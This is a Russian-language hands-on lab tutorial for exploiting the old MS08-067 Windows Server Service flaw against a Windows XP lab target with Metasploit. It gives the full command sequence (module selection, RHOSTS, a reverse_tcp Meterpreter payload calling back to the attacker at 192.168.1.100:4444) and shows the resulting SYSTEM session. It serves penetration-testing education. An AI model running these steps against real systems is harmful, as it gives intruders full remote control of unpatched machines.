Эксплуатация MS08-067 на цели с Windows XP в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы научитесь использовать Metasploit Framework для эксплуатации одной из самых известных уязвимостей Windows — MS08-067. Эта уязвимость существует в службе Server Service (Серверная служба) в системах Windows и может позволить удаленное выполнение кода.

Вы будете использовать Metasploit, мощный инструмент для тестирования на проникновение, чтобы выбрать, настроить и запустить эксплойт против целевой машины Windows XP. К концу этой лабораторной работы вы получите сессию Meterpreter на цели, что даст вам удаленный контроль.

Для этой лабораторной работы среда предварительно настроена с двумя машинами:

  • Ваша машина атакующего (эта ВМ Ubuntu) с IP-адресом 192.168.1.100.
  • Уязвимая целевая машина Windows XP с IP-адресом 192.168.1.101.

Все действия вы будете выполнять из терминала на вашей машине атакующего.

Выбор модуля эксплойта ms08_067_netapi

На этом шаге вы запустите консоль Metasploit и выберете соответствующий модуль эксплойта для уязвимости MS08-067.

Сначала откройте терминал. Все команды будут выполняться здесь. Metasploit Framework поставляется с интерфейсом командной строки под названием msfconsole. Давайте запустим его с флагом -q (quiet), чтобы подавить баннер.

msfconsole -q

После загрузки вы увидите приглашение Metasploit, которое выглядит как msf6 >. Теперь вы можете выполнить поиск модуля эксплойта, связанного с ms08-067.

search ms08-067

Вы увидите список совпадающих модулей. Тот, который нас интересует, это exploit/windows/smb/ms08_067_netapi.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Чтобы использовать этот эксплойт, введите команду use, за которой следует имя модуля.

use exploit/windows/smb/ms08_067_netapi

Ваше приглашение изменится, указывая, что вы теперь находитесь в контексте этого конкретного модуля эксплойта.

msf6 exploit(windows/smb/ms08_067_netapi) >

Установка опции RHOSTS для цели Windows XP

На этом шаге вы настроите модуль эксплойта, установив IP-адрес цели. Большинству эксплойтов необходимо знать, кого атаковать. В Metasploit адрес цели устанавливается с помощью опции RHOSTS (Remote Hosts - Удаленные хосты).

Сначала давайте посмотрим доступные опции для этого эксплойта, используя команду show options.

show options

Вы увидите таблицу настраиваемых опций. Обратите внимание, что RHOSTS является обязательной, но еще не установлена.

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

Теперь установим опцию RHOSTS на IP-адрес нашей цели Windows XP, который составляет 192.168.1.101.

set RHOSTS 192.168.1.101

Metasploit подтвердит изменение.

RHOSTS => 192.168.1.101

Теперь вы указали Metasploit, какую машину атаковать.

Выбор reverse TCP payload, такого как windows/meterpreter/reverse_tcp

На этом шаге вы выберете полезную нагрузку (payload), которая будет доставлена на целевую систему после успешного эксплойта. Полезная нагрузка — это код, который будет выполняться на целевой машине. Мы будем использовать Meterpreter, мощную и гибкую полезную нагрузку, предоставляющую интерактивную оболочку.

Полезная нагрузка windows/meterpreter/reverse_tcp заставит скомпрометированную целевую машину подключиться обратно к вам (атакующему). Это часто бывает более успешно в реальных сценариях, когда межсетевые экраны могут блокировать прямые соединения с целью.

Чтобы установить полезную нагрузку, используйте команду set payload.

set payload windows/meterpreter/reverse_tcp

Metasploit подтвердит, что полезная нагрузка установлена.

payload => windows/meterpreter/reverse_tcp

Теперь, когда полезная нагрузка выбрана, вам нужно будет настроить ее параметры на следующем шаге.

Установка опций payload LHOST и LPORT

Теперь, когда вы выбрали reverse payload, вам нужно настроить его для обратного подключения к вашей машине. Для этого требуется установить две основные опции: LHOST и LPORT.

  • LHOST (Local Host - Локальный хост): Это IP-адрес вашей атакующей машины, к которому должен подключиться payload.
  • LPORT (Local Port - Локальный порт): Это порт на вашей машине, который будет ожидать входящее соединение от цели.

Как упоминалось во введении, IP-адрес вашей атакующей машины — 192.168.1.100. Давайте установим LHOST в это значение.

set LHOST 192.168.1.100

Вы увидите подтверждение:

LHOST => 192.168.1.100

Далее, давайте установим порт прослушивания. Распространенный выбор — 4444.

set LPORT 4444

Снова вы увидите подтверждение:

LPORT => 4444

Вы можете снова выполнить команду show options, чтобы убедиться, что все обязательные опции (RHOSTS, LHOST, LPORT) теперь установлены правильно.

Запуск эксплойта и получение сессии Meterpreter

После настройки всех опций вы готовы к запуску эксплойта. Это последний шаг, на котором вы попытаетесь скомпрометировать целевую систему.

Чтобы запустить атаку, просто используйте команду exploit.

exploit

Metasploit теперь попытается использовать уязвимость. В случае успеха вы увидите вывод, похожий на следующий. Он автоматически определит операционную систему цели, отправит эксплойт, а затем отправит полезную нагрузку.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

Обратите внимание на последнюю строку: Meterpreter session 1 opened. Ваша командная строка изменилась на meterpreter >. Это означает, что вы успешно скомпрометировали цель и имеете активную сессию.

Чтобы проверить свой доступ, выполните команду, например getuid, чтобы увидеть, от имени какого пользователя вы работаете в целевой системе.

getuid

Вывод покажет, что у вас наивысший уровень привилегий.

Server username: NT AUTHORITY\SYSTEM

Поздравляем, вы успешно использовали эксплойт MS08-067!

Резюме

В этой лабораторной работе вы успешно использовали Metasploit Framework для эксплуатации уязвимости MS08-067 на цели с Windows XP.

Вы прошли основной рабочий процесс тестирования на проникновение:

  1. Выбрали конкретный модуль эксплойта (exploit/windows/smb/ms08_067_netapi).
  2. Настроили эксплойт, установив адрес цели (RHOSTS).
  3. Выбрали полезную нагрузку (windows/meterpreter/reverse_tcp) для получения контроля.
  4. Настроили полезную нагрузку с вашим локальным хостом и портом (LHOST, LPORT).
  5. Запустили эксплойт и получили сессию Meterpreter с высокими привилегиями на цели.

Это упражнение демонстрирует мощь и простоту использования фреймворка, такого как Metasploit, для тестирования и эксплуатации уязвимостей системы.